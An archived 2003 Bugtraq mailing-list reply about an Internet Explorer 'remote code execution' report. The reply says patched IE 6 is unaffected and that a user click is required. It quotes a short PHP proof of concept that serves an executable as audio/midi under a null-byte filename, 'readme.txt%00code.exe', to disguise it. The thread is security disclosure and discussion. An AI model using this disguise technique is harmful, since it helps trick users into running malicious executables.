bugtraq - Re: IE remote code execution

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20031020170123.4785.qmail@sf-www2-symnsj.securityfocus.com>
Date: 20 Oct 2003 17:01:23 -0000
From: K-OTiK Security <Special-Alerts@...tik.com>
To: bugtraq@...urityfocus.com
Subject: Re: IE remote code execution


In-Reply-To: <Pine.LNX.4.44.0310190012380.170-100000@...ris>

Hi,

NO effect on : 

Internet Explorer 6 SP1 (Windows XP)
Internet Explorer 6 For Windows 2003 Server

The user MUST accept to execute the file by clicking "YES", so it's not more dangerous than a direct link to an .exe file ...

Regards.

K-OTik Staff /// http://www.k-otik.com


>From: Marcin Ulikowski <r3b00t@...pl>
>Subject: IE remote code execution
>
>This code can execute any code remotely using IE - as  you can see very simple.
>
>// for IE 5, tested on default Windows 98SE installation
><?php
>Header("Content-type: audio/midi");
>Header("Content-Disposition: inline; filename=readme.txt%00code.exe");
>readfile("code.exe");
>?>
><noscript>
>